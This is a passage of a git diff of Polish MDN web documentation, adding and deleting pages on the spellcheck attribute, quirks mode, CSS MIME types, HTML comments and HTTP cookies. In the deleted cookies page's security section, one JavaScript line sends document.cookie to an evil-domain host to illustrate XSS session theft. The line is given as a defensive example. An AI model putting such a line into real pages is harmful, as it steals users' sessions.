- -

See also

- - diff --git a/files/pl/web/html/global_attributes/spellcheck/index.html b/files/pl/web/html/global_attributes/spellcheck/index.html new file mode 100644 index 0000000000..ed230d2b07 --- /dev/null +++ b/files/pl/web/html/global_attributes/spellcheck/index.html @@ -0,0 +1,63 @@ +--- +title: sprawdzanie pisowni +slug: Web/HTML/Global_attributes/pisownia +translation_of: Web/HTML/Global_attributes/spellcheck +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

The spellcheck global attribute is an enumerated attribute defines whether the element may be checked for spelling errors.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}
+ + + +

It may have the following values:

+ + + +
+

Note: The spellcheck attribute is an enumerated one and not a Boolean one. This means that the explicit usage of one of the values true or false is mandatory, and that a shorthand like <textarea spellcheck></textarea> is not allowed. The correct usage is <textarea spellcheck="true"></textarea>.

+
+ +

If this attribute is not set, its default value is element-type and browser-defined. This default value may also be inherited, which means that the element content will be checked for spelling errors only if its nearest ancestor has a spellcheck state of true.

+ +

This attribute is merely a hint for the browser: browsers are not required to check for spelling errors. Typically non-editable elements are not checked for spelling errors, even if the spellcheck attribute is set to true and the browser supports spellchecking.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, initial definition
+ +

Browser compatibility

+ + + +

{{Compat("html.global_attributes.spellcheck")}}

+ +

See also

+ + diff --git a/files/pl/web/html/inline_elements/index.html b/files/pl/web/html/inline_elements/index.html new file mode 100644 index 0000000000..f5cd417ec8 --- /dev/null +++ b/files/pl/web/html/inline_elements/index.html @@ -0,0 +1,30 @@ +--- +title: Elementy liniowe +slug: Web/HTML/Elementy_liniowe +tags: + - HTML + - 'HTML:Element' + - 'HTML:Élément(2)' + - Wszystkie_kategorie +translation_of: Web/HTML/Inline_elements +--- +

Podsumowanie

+

Elementy liniowe są elementami, które mogą wystąpić tylko w body. Od elementów blokowych odróżnia je: +

+
Zawartość elementu
Elementy liniowe mogą zawierać tylko tekst lub inne elementy liniowe. +
Formatowanie
Elementy liniowe nie tworzą nowego wiersza. +
+

Elementy

+

Poniżej znajduje się lista elementów "liniowych": +

+ +

Zobacz także

+ +
+
+{{ languages( { "en": "en/HTML/Inline_elements", "ja": "ja/HTML/Inline_elements", "ko": "ko/HTML/Inline_elements" } ) }} diff --git a/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html b/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html deleted file mode 100644 index ee13232227..0000000000 --- a/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Kontrola sprawdzania pisowni w formularzach HTML -slug: Web/HTML/Kontrola_sprawdzania_pisowni_w_formularzach_HTML -translation_of: Web/HTML/Global_attributes/spellcheck -translation_of_original: Web/HTML/Controlling_spell_checking_in_HTML_forms ---- -

 

-

Firefox 2 wprowadza wsparcie dla sprawdzania pisowni w polach i obszarach tekstowych w formularzach. Użytkownik może, używając interfejsu about:config, włączyć lub wyłączyć sprawdzanie pisowni oraz czy sprawdzać zawartość zarówno obszarów tekstowych jak również pól, czy tylko obszarów.

-

Domyślnie zwartość obszarów tekstowych jest sprawdzana, a pól - nie.

-

Jednakże, mogą zdarzyć się sytuacje kiedy takie zachowanie może nie być poprawne. Dla przykładu, jeśli obszar tekstowy służyć ma do wprowadzania lub edycji HTML lub podobnych danych, sprawdzanie pisowni stanowiłoby raczej przeszkodę aniżeli pomoc. Podobnie, mogą zdarzyć się sytuacje, kiedy strona sieci Web powinna rekomendować Firefoksowi by sprawdzanie pisowni było włączone dla określonego pola tekstowego.

-

Jeśli strona sieci Web wymaga włączenia lub wyłączenia sprawdzania pisowni dla danego elementu <input>, autor może zastosować atrybut spellcheck, podając wartość true jeśli sprawdzanie pisowni powinno być włączone lub false - jeśli powinno być wyłączone.

-

Proszę pamiętać, że rekomendacja strony może zostać zignorowana jeśli użytkownik wyłączył sprawdzanie pisowni globalnie, poprzez ustawienie wartości layout.spellcheckDefault na 0. Jeśli layout.spellcheckDefault ma jakąkolwiek inną wartość, rekomendacje są brane pod uwagę.

-

Możesz zakodować pole tekstowe by używało sprawdzania pisowni używając kodu HTML podobnego do poniższego:

-
<input type="text" size="50" spellcheck="true">
-
-

Podobnie, możesz zakodować pole tekstowe z wyłączonym sprawdzaniem pisowni używając kodu HTML podobnego do poniższego:

-
<textarea spellcheck="false"></textarea>
-
-

Możesz również zastosować atrybut spellcheck do innych elementów, jak na przykład elementy <span> i <div>. W tym wypadku jakiekolwiek zawarte w nich elementy <input> zastosują to ustawienie; elementy nie posiadające atrybutu spellcheck odziedziczą ustawienie sprawdzania pisowni po ich rodzicach. Jeśli nie ma żadnych podanych ustawień, zastosowane zostaną domyślne ustawienia użytkownika.

-

Na przykład:

-
<div spellcheck="true">
-  <label>Wpisz zdanie: </label><input type="text" size="50">
-  <br />
-  <label>Wpisz inne zdanie: </label><input type="text" size="50">
-</div>
-<br />
-<label>Wpisz trzecie zdanie: </label><input type="text" size="50">
-
-

W tym fragmencie kodu HTML, zawartość pierwszych dwóch pól tekstowych zostanie sprawdzona, za to trzeciego - nie.

diff --git a/files/pl/web/html/quirks_mode_and_standards_mode/index.html b/files/pl/web/html/quirks_mode_and_standards_mode/index.html new file mode 100644 index 0000000000..72018a6571 --- /dev/null +++ b/files/pl/web/html/quirks_mode_and_standards_mode/index.html @@ -0,0 +1,54 @@ +--- +title: Tryb Zgodności (Quirks Mode) i Tryb Standardów +slug: Web/HTML(PL)/Tryb_Zgodnosci_oraz_Tryb_Standardow +tags: + - Gecko + - Guide + - HTML + - NeedsUpdate + - Web Development + - Web Standards + - XHTML +translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode +--- +

W dawnych czasach strony internetowe zwykle pisane były w dwóch wersjach: Jedna dla Netscape Navigator i jedna dla Microsoft Internet Explorer. Kiedy standardy sieciowe były tworzone w W3C, przeglądarki nie mogły po prostu zacząć z nich korzystać, ponieważ w ten sposób zniszczyłyby większość istniejących stron internetowych. W związku z tym przeglądarki wprowadziły dwa tryby traktowania nowych witryn zgodnych ze standardami w inny sposób niż witryn starej generacji.

+ +

Obecnie w przeglądarkach internetowych stosowane są trzy tryby pracy silników układu graficznego: tryb zgodności (tryb quirks), tryb prawie standardowy oraz tryb pełnego standardu. W trybie zgodności układ emuluje niestandardowe zachowanie w Navigator 4 i Internet Explorer 5. Jest to niezbędne do obsługi stron internetowych, które powstały przed powszechnym przyjęciem standardów internetowych. W trybie pełnych standardów, zachowanie jest (miejmy nadzieję) zachowaniem opisanym przez specyfikacje HTML i CSS. W trybie prawie standardowym zaimplementowana jest bardzo mała liczba kompatybilności.

+ +

Jak przeglądarki decydują, z którego trybu korzystać?

+ +

W przypadku dokumentów HTML, przeglądarki używają DOCTYPE na początku dokumentu, aby zdecydować, czy obsługiwać go w trybie zgodności, czy też w trybie standardów. Aby zagwarantować, że strona korzysta z trybu pełnego standardu, upewnij się że strona ma DOCTYPE, tak jak w tym przykładzie:

+ +
<!DOCTYPE html>
+<html lang="pl">
+  <head>
+    <meta charset="UTF-8">
+    <title>Witaj, Świecie!</title>
+  </head>
+  <body>
+  </body>
+</html>
+ +

DOCTYPE pokazany w przykładzie, <!DOCTYPE html>, jest najprostrzy z możliwych i zalecany przez HTML5. Wcześniejsze wersje standardu HTML zalecały inne warianty, ale wszystkie istniejące obecnie przeglądarki będą korzystały z trybu pełnego standardu dla DOCTYPE, nawet z przestarzałego Internet Explorera 6. Nie ma uzasadnionych powodów, aby używać bardziej skomplikowanego DOCTYPE. Jeśli używasz innego DOCTYPE, możesz być narażony na ryzyko wybrania takiego, który uruchamia prawie standardowy tryb lub tryb zgodności.

+ +

Upewnij się, że umieścisz DOCTYPE bezpośrednio na początku dokumentu HTML. Wszystko przed DOCTYPE, takie jak komentarz czy deklaracja XML, wyzwoli tryb zgodnści w Internet Explorerze 9 i starszych.

+ +

W HTML5, jedynym celem DOCTYPE jest aktywowanie trybu pełnego standardu. Starsze wersje standardu HTML nadawały dodatkowe znaczenie DOCTYPE, ale żadna przeglądarka nie używała DOCTYPE do innych celów niż przełączanie pomiędzy trybem zgodności a trybem standardów.

+ +

Zobacz również szczegółowy opis tego, kiedy różne przeglądarki wybierają różne tryby pracy.

+ +

XHTML

+ +

Jeśli podajesz swoją stronę jako XHTML używając application/xhtml+xml MIME type w Content-Type HTTP header, nie potrzebujesz DOCTYPE, aby włączyć tryb standardów. Należy jednak pamiętać, że podawanie stron jako application/xhtml+xml spowoduje, że Internet Explorer 8 wyświetli okno dialogowe pobierania nieznanego formatu zamiast wyświetlania strony, ponieważ pierwszą wersją Internet Explorera z obsługą XHTML jest Internet Explorer 9.

+ +

Jeśli tworzysz treści w formacie XHTML używając text/html MIME type, przeglądarki przeczytają je jako HTML i będziesz potrzebował DOCTYPE do korzystania z trybu standardów.

+ +

Jak sprawdzić, który tryb jest używany?

+ +

W Firefoksie wybierz opcję View Page Info z menu kontekstowego i poszukaj trybu Render Mode.

+ +

W Internet Explorerze naciśnij F12 i poszukaj Document Mode.

+ +

Jakie są różnice pomiędzy trybami?

+ +

Zobacz listę zgodności oraz tryb prawie standardowy, aby poznać różnice pomiędzy trybami.

diff --git "a/files/pl/web/html/zarz\304\205dzanie_fokusem_w_html/index.html" "b/files/pl/web/html/zarz\304\205dzanie_fokusem_w_html/index.html" deleted file mode 100644 index de7af2ddfc..0000000000 --- "a/files/pl/web/html/zarz\304\205dzanie_fokusem_w_html/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Zarządzanie fokusem w HTML -slug: Web/HTML/Zarządzanie_fokusem_w_HTML -tags: - - DOM - - Firefox 3 - - HTML - - Wszystkie_kategorie -translation_of: Web/API/Document/hasFocus -translation_of_original: Web/HTML/Focus_management_in_HTML ---- -

{{ Fx_minversion_header(3) }} -{{ Draft() }} -

W programie Firefox 3 wprowadzono obsługę dwóch nowych atrybutów DOM, zdefiniowanych w roboczej wersji specyfikacji HTML 5: activeElement i hasFocus. -


-

-
-
-{{ languages( { "en": "en/Focus_management_in_HTML", "es": "es/Gesti\u00f3n_del_foco_en_HTML", "fr": "fr/Gestion_du_focus_en_HTML", "ja": "ja/Focus_management_in_HTML" } ) }} diff --git a/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html b/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html deleted file mode 100644 index 336a21b7f6..0000000000 --- a/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Znaczenie poprawnego komentowania -slug: Web/HTML/Znaczenie_poprawnego_komentowania -tags: - - HTML - - Wszystkie_kategorie -translation_of: Learn/HTML/Introduction_to_HTML/Getting_started#HTML_comments -translation_of_original: Web/Guide/HTML/The_Importance_of_Correct_HTML_Commenting ---- -

 

-

Znaczenie poprawnego komentowania

-

Podczas tworzenia HTML w trybie standardów, niepoprawnie sformatowane komentarze mogą zepsuć twe strony, powodując wykomentowanie części lub całości ich treści. Podczas tworzenia XHTML lub XML, niepoprawne komentarze spowodują, że twoje dokumenty nie będą mogły w ogóle zostać wyświetlone.

-

HTML 4.01

-

- - Z Rekomendacji W3C dla HTML 4.01, Sekcji 3.2.4 - Komentarze: -

-

Biała spacja nie jest dozwolona między otwierającym delimiterem deklaracji znacznika ("<!") a otwierającym delimiterem komentarza ("--"), ale jest dozwolona między zamykającym delimiterem komentarza ("--") i zamykającym delimiterem deklaracji znacznika (">"). Pospolitym błędem jest umieszczanie łańcucha kresek ("---") wewnątrz komentarza. Twórcy powinni unikać wstawiania wewnątrz komentarza dwóch lub więcej sąsiadujących kresek.

-

Przykłady

-

Poniżej przedstawiono prawidłowe komentarze HTML.

-
<!-- poprawny komentarz HTML -->
-<!-- poprawny komentarz HTML -- >
-
-

Poniżej przedstawiono nieprawidłowy komentarz HTML.

-
<!-- niepoprawny -- komentarz HTML -->
-
-

XML

-

- - Z Rekomendacji W3C dla XML 1.0, Sekcji 2.5 - Komentarze: -

-
- Definicja: Komentarze mogą pojawiać się w dokumencie gdziekolwiek poza innymi znacznikami; ponadto mogą pojawiać się wewnątrz deklaracji typu dokumentu w miejscach dozwolonych przez gramatykę. Nie wchodzą w skład danych znakowych dokumentu; procesor XML może, choć nie musi, umożliwić aplikacji wydobywać tekst komentarzy. W celu zapewnienia kompatybilności, łańcuch "--" (podwójna kreska) nie może występować wewnątrz komentarzy. Odwołania do parametrów encji nie mogą być rozpoznawane wewnątrz komentarzy. -
[15] Comment ::= '<!--' ((Char - '-') | ('-' (Char - '-')))* '-->'
-
-
-

Zgodnie z opisem gramatyki komentarzy w XML, komentarz ma postać

-
<!-- znaki bez sąsiadujących kresek -->
-
-

Przykłady

-

Poniżej przedstawiono prawidłowy komentarz XML i XHTML.

-
<!-- poprawny komentarz xml/xhtml -->
-
-

Poniżej przedstawiono nieprawidłowe komentarze XML i XHTML.

-
<!-- nieprawidłowy -- komentarz xml -->
-<!-- nieprawidłowy komentarz xml --->
-<!-- nieprawidłowy komentarz xml -- >
-
-

Lektury uzupełniające

- -
-

Informacje o dokumencie

- -
-
-  
diff --git a/files/pl/web/http/basics_of_http/mime_types/index.html b/files/pl/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..b5f2753a78 --- /dev/null +++ b/files/pl/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,39 @@ +--- +title: Nieprawidłowy typ MIME plików CSS +slug: Nieprawidłowy_typ_MIME_plików_CSS +tags: + - CSS + - Wszystkie_kategorie +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +translation_of_original: Incorrect_MIME_Type_for_CSS_Files +--- +

 

+

W czym jest problem?

+

Może się zdarzyć, że natrafisz na stronę internetową, która korzysta z CSS i wygląda ubogo w Netscape 7.x lub innej przeglądarce opartej o Gecko, jak Mozilla, podczas gdy Internet Explorer (MSIE) wyświetli ową stronę "ładną". Jednym z częstych powodów takiej sytuacji jest nieprawidłowa konfiguracja serwera WWW hostującego plik CSS. Niektóre serwery internetowe oparte o Apache lub iPlanet wiążą pliki .css z nieodpowiednim typem MIME, jak np. text/plain lub text/x-pointplus. W niektórych przypadkach Netscape 7.x i Mozilla ignorują plik CSS ze względu na jego nieprawidłowy typ MIME i używają domyślnego arkusza stylów, przez co układ strony jest inny, niż zamierzał twórca strony.

+

Kiedy się tak dzieje?

+

Specyfikacja W3C stwierdza, że pliki CSS powinny być serwowane z typem MIME text/css. Mozilla i Netscape 7.x, kiedy pracują w trybie standardów, stosują się do specyfikacji i oczekują odpowiedniego typu MIME dla plików CSS (tryb standardów jest włączany, kiedy w pierwszej linii strony HTML zostanie umieszczone DTD Strict). W trybie zgodności wstecznej obydwie aplikacje tolerują nieodpowiedni typ MIME i użyją dołączonych stylów pomimo błędnej konfiguracji serwera. Oznacza to, że nie możesz używać dokumentów Strict przy źle skonfigurowanym serwerze. MSIE pozwala na to, gdyż - niepoprawnie - nie zwraca uwagi na typ MIME wysyłany przez serwer w nagłówku HTTP.

+

Co mogę zrobić, by to zmienić?

+

Musisz poprosić administratora serwera internetowego o uaktualnienie konfiguracji typów MIME.

+

Problem ten na serwerach iPlanet/Netscape został już zauważony przez producenta, który utworzył stosowną notatkę techniczną (zob. poniżej) w swojej bazie wiedzy.

+

Jeśli korzystasz z Apache'a, możesz także zmienić ustawienia w pliku .htaccess w głównym katalogu. (.htaccess jest plikiem konfiguracyjnym tylko do odczytu, który obsługuje kilka rzeczy, w tym typy MIME). Dodaj do swojego pliku .htaccess taką linię:

+
AddType text/css .css
+

Zwróć uwagę, że niektórzy administratorzy wyłączają użycie plików .htaccess na swoich serwerach, ponieważ powodują one niewielkie spadek wydajności.

+

Wnioski

+

Używanie ścisłej definicji typu dokumentu (Strict DTD) wraz z Mozillą oznacza, że serwer hostujący Twoje strony powinien być skonfigurowany prawidłowo. Jest kilka rozwiązań tego problemu, jednak najskuteczniejszym jest powiązanie odpowiedniego typu MIME z plikami .css. Poproś administratora aby naprawił to dla Ciebie, a wszyscy, którzy publikują HTML z DTD Strict, będą Ci wdzięczni!

+

Zmiana typów MIME na serwerach iPlanet/Sun

+

Problem

+

Użytkownikom wyświetlone zostaje okno Zapisz jako z typem zawartości ustawionym na application/x-pointplus lub zawartość pliku CSS jest wyświetlana jako tekst, kiedy arkusz CSS ma rozszerzenie .css.

+

Rozwiązanie

+

Typ pliku .css nie jest mapowany na arkusz CSS w domyślnej konfiguracji typów MIME serwera Enterprise Server. Możesz zmienić to mapowanie na stronie Global MIME Types.

+

By skorzystać z tej strony, wybierz w panelu administracyjnym Server Preferences, MIME Types i ustaw typ MIME dla .css na text/css zamiast application/x-pointplus.

+

Jeśli problem pozostanie, dodaj "KeepAliveTimeout 0" w magnus.conf.

+

W oparciu o: SunSolve, Sun Microsystems

+

Dodatkowe zasoby

+ +
+

Informacje o dokumencie

+ +
+

{{ languages( { "en": "en/Incorrect_MIME_Type_for_CSS_Files", "es": "es/Tipo_MIME_incorrecto_en_archivos_CSS", "fr": "fr/Type_MIME_incorrect_pour_les_fichiers_CSS" } ) }}

diff --git a/files/pl/web/http/ciasteczka/index.html b/files/pl/web/http/ciasteczka/index.html deleted file mode 100644 index d8720ac4c4..0000000000 --- a/files/pl/web/http/ciasteczka/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: Ciasteczka HTTP -slug: Web/HTTP/Ciasteczka -tags: - - aplikacje internetowe - - ciasteczka - - ciasteczka artykuł - - dane - - pamięć przeglądarki - - pliki cookie - - protokoły - - prywatność - - przeglądarka - - serwer - - śledzenie - - żądania HTTP -translation_of: Web/HTTP/Cookies ---- -

{{HTTPSidebar}}

- -

Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem. Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.

- -

Główne zastosowania ciasteczek:

- -
-
Zarządzanie sesją
-
Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer
-
Personalizacja
-
Preferencje użytkownika, motywy i inne ustawienia
-
Śledzenie
-
Zapisywanie i analiza zachowania użytkownika
-
- -

Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to Web storage API (localStorage i sessionStorage) oraz IndexedDB.

- -
-

Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę Dane w narzędziach dla programistów dostępnych w przeglądarce.

-
- -

Tworzenie ciasteczek

- -

Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek Set-Cookie. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka Cookie. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.

- - - -

Nagłówek Set-Cookie jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:

- -
Set-Cookie: <nazwa-ciasteczka>=<wartość-ciasteczka>
- -

Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.

- -
Uwaga: W odnośnikach znajdują się przykłady użycia nagłówka Set-Cookie w różnych aplikacjach uruchamianych po stronie serwera: - - -
- -
HTTP/2.0 200 OK
-Content-type: text/html
-Set-Cookie: yummy_cookie=choco
-Set-Cookie: tasty_cookie=strawberry
-
-[page content]
- -

Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka Cookie, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.

- -
GET /sample_page.html HTTP/2.0
-Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
- -

Ciasteczka sesyjne

- -

Ciasteczko stworzone w poprzedniej sekcji jest ciasteczkiem sesyjnym: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw Expires lub Max-Age. Jednakże przeglądarki mogą użyć mechanizmu przywracania sesji, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.

- -

Ciasteczka trwałe

- -

Zamiast wygasnąć po wyłączeniu klienta, trwałe ciasteczka wygasają w konkretnym terminie (Expires) lub po określonym czasie (Max-Age).

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
- -
-

Uwaga: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.

-
- -

Ciasteczka Secure i HttpOnly

- -

Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy Secure, poufne dane nigdy nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (http:) nie mają możliwości ustawiania ciasteczek z dyrektywą Secure.

- -

Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka HttpOnly są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga HttpOnly powinna być ustawiona.

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
- -

Zakres ciasteczek

- -

Dyrektywy Domain i Path definiują zakres ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.

- -

Domain określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest host aktualnej lokalizacji dokumentu, z pominięciem subdomen. Jeżeli dyrektywa Domain jest określona to subdomeny zawsze są uwzględnione.

- -

Przykładowo, jeżeli ustawiono Domain=mozilla.org, to ciasteczka są uwzględnione także dla subdomen takich jak developer.mozilla.org.

- -

Path oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek Cookie. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.

- -

Jeżeli ustawiono Path=/docs, to następujące przykładowe ścieżki będą pasować:

- - - -

Ciasteczka SameSite {{experimental_inline}}

- -

Ciasteczka SameSite pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków Cross-Site Request Forgery ({{Glossary("CSRF")}}).

- -

Ciasteczka SameSite są relatywnie nowe, ale wspierane przez wszystkie główne przeglądarki internetowe.

- -

Przykładowo:

- -
Set-Cookie: nazwa=wartość; SameSite=Strict
- -

Atrybut SameSite może przyjmować jedną z trzech wartości (bez rozróżniania wielkości liter):

- -
-
None
-
Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (cross-site) jak i żądaniami odnoszącymi się do aktualnej strony (same-site).
-
Strict
-
Przeglądarka będzie wysyłać ciasteczka tylko żądaniami same-site (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem Strict nie zostanie przesłane.
-
Lax
-
Ciasteczka SameSite są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.
-
- -
-

Przeglądarki decydują się na domyślne ustawianie SameSite=Lax. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (cross-origin), należy zrezygnować z zabezpieczenia SameSite używając wartości None dla tej dyrektywy. Wymaga ona obecności atrybutu Secure.

-
- -

Prefiksy ciasteczek {{experimental_inline}}

- -

Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się gdzie ciasteczko zostało pierwotnie ustawione.  Każda subdomena jak na przykład application.example.com może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do example.com lub do innych subdomen dzięki ustawieniu atrybutu Domain:

- -
Set-Cookie: CSRF=e8b667; Secure; Domain=example.com
- -

Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku session fixation. Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.

- -

Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją includeSubdomains,  to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem Set-Cookie z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie example.com.

- -

Aby ograniczyć możliwości przeprowadzenia ataku session fixation powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem. W ramach silniejszej obrony możliwe jest użycie prefiksów ciasteczek w celu potwierdzenia pewnych faktów na temat samych ciasteczek. Dostępne są dwa prefiksy:

- -
-
__Host-
-
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure, wysłaną z bezpiecznego źródła (HTTPS), nie posiadającą atrybutu Domain i mającą atrybut Path o wartości /. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".
-
__Secure-
-
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks __Host-.
-
- -

Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed session fixation.

- -
-

Aplikacja będąca serwerem musi sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji nie wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.

-
- -

Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź sekcję Set-Cookie.

- -

Dostęp JavaScript za pomocą Document.cookie

- -

Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga HttpOnly nie jest ustawiona, to także istniejące ciasteczka są dostępne.

- -
document.cookie = "yummy_cookie=choco";
-document.cookie = "tasty_cookie=strawberry";
-console.log(document.cookie);
-// logs "yummy_cookie=choco; tasty_cookie=strawberry"
- -

Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi HttpOnly.

- -

Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji.

- -

Bezpieczeństwo

- -
-

Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.

-
- -

Przejmowanie sesji i XSS

- -

Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.

- -
(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
- -

Atrybut HttpOnly może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka.  Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej polityki bezpieczeństwa treści (CSP).

- -

Cross-site request forgery (CSRF)

- -

